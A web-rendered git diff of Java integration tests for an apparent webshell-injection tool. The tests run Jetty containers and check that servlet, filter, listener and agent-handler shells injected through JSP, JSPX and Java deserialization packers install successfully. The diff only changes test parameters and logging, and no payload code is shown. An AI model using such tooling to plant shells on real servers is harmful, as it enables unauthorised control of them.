assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getUrl() {
|
|
||||||
String host = compose.getServiceHost(serviceName, 8080);
|
|
||||||
int port = compose.getServicePort(serviceName, 8080);
|
|
||||||
String url = "http://" + host + ":" + port + "/app";
|
|
||||||
log.info("container started, app url is : {}", url);
|
|
||||||
return url;
|
|
||||||
}
|
|
||||||
|
|
||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, null);
|
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-1
@@ -52,7 +52,8 @@ public class Jetty61ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.Jetty;
|
Server server = Server.Jetty;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER
|
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||||
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+1
-2
@@ -53,8 +53,7 @@ public class Jetty75ContainerTest {
|
|||||||
Server server = Server.Jetty;
|
Server server = Server.Jetty;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.JETTY_AGENT_HANDLER,
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
ShellType.JETTY_AGENT_HANDLER_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+1
-2
@@ -53,8 +53,7 @@ public class Jetty76ContainerTest {
|
|||||||
Server server = Server.Jetty;
|
Server server = Server.Jetty;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.JETTY_AGENT_HANDLER,
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
ShellType.JETTY_AGENT_HANDLER_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+1
-2
@@ -53,8 +53,7 @@ public class Jetty81ContainerTest {
|
|||||||
Server server = Server.Jetty;
|
Server server = Server.Jetty;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.JETTY_AGENT_HANDLER,
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
ShellType.JETTY_AGENT_HANDLER_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+1
-2
@@ -54,8 +54,7 @@ public class Jetty92ContainerTest {
|
|||||||
Server server = Server.Jetty;
|
Server server = Server.Jetty;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.JETTY_AGENT_HANDLER,
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
ShellType.JETTY_AGENT_HANDLER_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
+2
-2
@@ -53,8 +53,7 @@ public class Jetty93ContainerTest {
|
|||||||
Server server = Server.Jetty;
|
Server server = Server.Jetty;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.JETTY_AGENT_HANDLER,
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
ShellType.JETTY_AGENT_HANDLER_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
@@ -63,6 +62,7 @@ public class Jetty93ContainerTest {
|
|||||||
@AfterAll
|
@AfterAll
|
||||||
static void tearDown() {
|
static void tearDown() {
|
||||||
String logs = container.getLogs();
|
String logs = container.getLogs();
|
||||||
|
log.info(logs);
|
||||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+1
-2
@@ -53,8 +53,7 @@ public class Jetty94ContainerTest {
|
|||||||
Server server = Server.Jetty;
|
Server server = Server.Jetty;
|
||||||
List<String> supportedShellTypes = List.of(
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
|
||||||
ShellType.JETTY_AGENT_HANDLER,
|
ShellType.JETTY_AGENT_HANDLER
|
||||||
ShellType.JETTY_AGENT_HANDLER_ASM
|
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user